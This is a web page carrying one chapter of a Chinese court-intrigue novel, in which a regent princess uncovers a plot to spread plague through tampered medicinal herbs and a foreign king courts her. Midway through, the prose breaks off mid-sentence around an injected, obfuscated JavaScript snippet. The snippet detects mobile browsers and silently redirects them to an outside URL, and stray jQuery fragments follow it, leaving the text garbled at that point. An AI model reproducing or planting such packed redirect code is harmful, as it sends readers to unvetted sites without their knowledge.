默认冷灰
24号文字
方正启体

87. 清宵共话烛花暖(7)

作者:繁星昭月本书字数:K更新时间:
    太州府衙后院,烛火彻夜未熄。


    年昭月刚批完最后一份安置文书,揉了揉发酸的腕骨。窗外秋雨淅沥,江南的雨季绵长得令人心烦。


    “公主,”裴翊悄声入内,手中捧着一封火漆完好的密信,“影卫在城外截获的,送信人身手不凡,像是……军中的路子。”


    年昭月接过密信,拆开火漆。信纸是上好的澄心堂纸,墨迹酣畅淋漓,内容却让她眸光骤冷。


    「陈公:江南之事,已按计行事。三日后太州疫起,可嫁祸新政扰民生变。届时京城必召回公主,吾等在京自有后手。」


    没有落款,但字里行间的杀伐之气,绝非寻常官员手笔。


    “瘟疫……”年昭月指尖轻叩桌案,“难怪这几日城中多了些生面孔的游医。”


    裴翊脸色一变:“公主,若真有人故意散播疫病……”


    “那就让他们散不成。”年昭月站起身,走到窗边,“传令:第一,即刻封控太州四门,只进不出。第二,全城排查游医、药商,凡无官府文牒者一律收押。第三,调集城中所有大夫,集中到府衙待命。”


    “可是公主,封城会引发恐慌……”


    “恐慌比瘟疫好控制。”年昭月转身,目光清明,“况且,我们只有三日时间。”


    她走到书案前,提笔疾书:“让影卫去查这几日进城的所有药材车,特别是从北边来的。瘟疫不是凭空而起,总要有人带进来。”


    裴翊领命而去。年昭月重新坐下,看着那封密信,眸光渐深。


    信中提到“京城自有后手”,显然陈秉在京城还有布置。而能调动军中好手送信的人……绝不简单。


    她忽然想起宗暻渊那封密信中的“京中有变”。


    原来如此。


    ————


    苍梧使团入京的第十日,鹤南玄递了帖子,请宗暻渊至西苑赏菊。


    秋日西苑,菊花开得正好。金黄、雪白、绛紫,各色纷呈。两人在菊圃间的石径上漫步,身后跟着不远不近的侍从。


    “大宗文治,连菊花都养得比苍梧精神。”鹤南玄折下一支金丝菊,在指尖把玩,“只可惜,再好的花,无人共赏,终究寂寞。”


    宗暻渊神色平淡:“苍梧王若有雅兴,可多留几日。待秋深时,西山红叶更胜菊花。”


    “红叶虽好,终要凋零。”鹤南玄随手将菊花扔进池中,“不如常青之木,四季如故。”


    这话意有所指。宗暻渊脚步未停:“常青木虽好,也要看生在何处。若水土不服,纵是常青,也要枯萎。”


    两人行至观稼台。鹤南玄凭栏远眺,忽然道:“听闻公主在江南,遇到些麻烦?”


    宗暻渊眸光微动:“些许小事,不劳苍梧王挂心。”


    “是吗?”鹤南玄侧头看他,琥珀色的眼眸在秋阳下闪着光,“孤却听说,江南有人要借瘟疫生事。公主虽智,终究是女子,恐难应对这等阴毒手段。”


    这话说得太透。宗暻渊转身看他:“苍梧王的消息,倒是灵通。”


    “既心仪于她,自然要多关心些。”鹤南玄笑容坦然,“陛下难道不担心?江南千里之遥,纵有暗卫护持,也难免鞭长莫及。”


    秋风掠过,吹动两人衣袂。菊香淡淡,却掩不住空气中无形的剑拔弩张。


    “公主既能掌摄政之权,自有应对之能。”宗暻渊语气平稳,“倒是苍梧王,既为客,当好生赏景。江南之事,不劳费心。”


    鹤南玄低笑一声:“陛下这是……防着孤?”


    “防?”宗暻渊也笑了,“苍梧王多虑了。只是我大宗的政务,不便让外客操劳。”


    两人目光相对,一个深邃如渊,一个锐利如剑。


    许久,鹤南玄先移开视线,望向南方:“江南的雨,该停了吧?希望公主回京时,是个晴天。”


    这话说得随意,宗暻渊却听出了弦外之音,他在等年昭月回京。


    ————


    太州城封控的第二日,排查有了结果。


    “公主,查到了。”裴翊匆匆入内,脸色凝重,“北城一家药材铺,三日前进了十车苍术、金银花、板蓝根。掌柜说,是个北边口音的客商,付了现银,不要凭证。”


    年昭月正在翻阅医书,闻言抬头:“药材呢?”


    “已全部封存。属下请了城中几位老大夫验看,其中三车药材……被动了手脚。”


    “如何动的手脚?”


    裴翊深吸一口气:“药材表面完好,但内里掺了腐坏的药渣。若是用这些药材熬制防疫汤药,非但无用,反而可能加重病情。”


    年昭月缓缓合上医书。


    好毒的手段。若真爆发瘟疫,官府发放的防疫汤药无效,百姓必会归咎于朝廷,归咎于新政。届时民怨沸腾,她在江南便寸步难行。


    “那个北边客商,”她问,“可有画像?”


    “有。”裴翊呈上一张画像,“掌柜说,那人右手虎口有疤,像是……常年握刀留下的。”


    “让影卫按图搜查,”她起身,“重点查客栈、码头、车马行。此人既然来了太州,总要有个落脚之处。”


    “是!”


    裴翊退下后,年昭月重新展开那封密信。澄心堂纸,北地特产。字迹酣畅,显然是常年批阅文书之人。


    陈秉?


    不,陈秉的字她见过,端正有余,锋芒不足。这封信的字迹,更像……


    她忽然想起一个人。一个在朝堂上总是沉默,却能在关键时刻说上一两句话的人。


    兵部尚书,赵嵘。


    若是他,调动军中好手送信,便说得通了。


    年昭月指尖轻点桌案。赵嵘与陈秉素有来往,又与江南几个武将世家关系密切。若他们联手,倒是一步好棋。


    ————


    苍梧驿馆内,鹤南玄正在抚琴。


    琴是古琴“鹤鸣秋月”,音色清越。


    他指尖轻拨,一曲《高山流水》缓缓流淌。黑衣谋士静立一旁,待一曲终了,才低声禀报:


    “王上,江南消息,太州封城了。”


    鹤南玄指尖停在琴弦上,唇角微扬:“她反应很快。”


    “是。截获密信后立即封城,还查到了药材铺。送信的人……恐怕藏不住了。”


    “藏不住便藏不住。”鹤南玄起身走到窗边,“本就是一步闲棋,能让她分心便好。”


    谋士迟疑:“可若她顺藤摸瓜,查到赵嵘……”


    “查到又如何?”鹤南玄转身,眼中掠过兴味,“孤倒想看看,这位摄政公主,是会直接将证据呈给大宗皇帝,还是……留着做后手。”


    他重新坐下,指尖轻抚琴身:“你说,若她知道孤在此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124200|190086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事中也插了一手,是会恼怒,还是会觉得……有趣?”


    谋士不敢答。


    鹤南玄低笑:“孤猜,她会冷静分析利弊,然后选择最有利的做法。这样的女子,才配与孤并肩。”


    窗外秋阳渐斜,将他的身影拉得很长。他望向皇宫的方向,琥珀色的眼眸深不见底。


    “大宗皇帝这几日,该睡不安稳了吧?”


    ————


    第三日午后,江南八百里加急送入紫宸殿。


    「太州封城三日,查获问题药材,擒获疑犯一人。据供,受兵部侍郎指使,欲借瘟疫生事。公主无恙,但需留镇江南,以防再生变。」


    宗暻渊看完急报,闭目片刻。


    兵部侍郎……赵嵘的人。


    “陛下,”内侍小心翼翼禀报,“苍梧王求见。”


    来得正好。


    “宣。”


    鹤南玄踏入殿内时,依旧是一身玄色常服,银狐大氅松松披着,步履从容如赴闲庭。


    “陛下脸色不好,”他含笑行礼,“可是江南又有消息?”


    宗暻渊抬眸看他:“苍梧王似乎对江南之事,格外关心。”


    “心仪之人在彼处,自然关心。”鹤南玄坦然落座,“听闻太州封城,可是出了什么事?”


    “有人欲借瘟疫生事。”宗暻渊将急报推到他面前,“苍梧王看看,这手段,可熟悉?”


    鹤南玄接过,快速扫过,笑容不变:“究竟是何人这般阴毒,不过陛下该庆幸,公主聪慧,提前识破。”


    他说得滴水不漏。宗暻渊静静看着他,忽然道:“公主来信说,需在江南多留些时日。苍梧王若等不及,可先归国。待公主回京,朕自会转达你的心意。”


    “等得及。”鹤南玄放下急报,目光坦荡,“既诚心求娶,岂会连这点耐心都没有?况且……”


    他顿了顿,笑容深了些:“孤听闻,江南湿冷,易生疫病。公主虽智,终究不是医者。孤略通医术,身边也有几位苍梧名医。若陛下允准,孤愿亲赴江南,助公主一臂之力。”


    这话说得冠冕堂皇,却字字诛心。


    殿内烛火跳跃,映得两人面色明暗不定。


    许久,宗暻渊缓缓开口:“苍梧王有心了。只是江南之事,我大宗自能处置。不劳外客奔波。”


    鹤南玄似早有所料,也不坚持,只笑道:“那便依陛下。只是若有需要,随时开口。”


    他起身行礼,走到殿门口时,忽然回头:“对了,孤前日得了一方古砚,听闻公主善书,特留着想赠她。陛下可否……代为转交?”


    说着,从袖中取出一方精致木盒,放在案上。


    盒盖未阖,可见里面是一方洮河绿石砚,石质温润,雕工精湛,确是珍品。


    宗暻渊看着那方砚,看着鹤南玄含笑告退的背影,忽然觉得胸口闷得厉害。


    他伸手想将木盒扫落,却又顿住。


    最终,他只是将木盒推到一旁,提笔给年昭月写信。


    这一次,字迹凌厉如刀:


    「江南事毕,即刻返京。朕等你,三日为期。」


    封好信,唤来影卫:“加急送至公主手中。告诉她……这是圣旨。”


    “是!”


    影卫离去后,宗暻渊独自坐在殿中,看着那方洮河砚,看着窗外渐沉的暮色。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)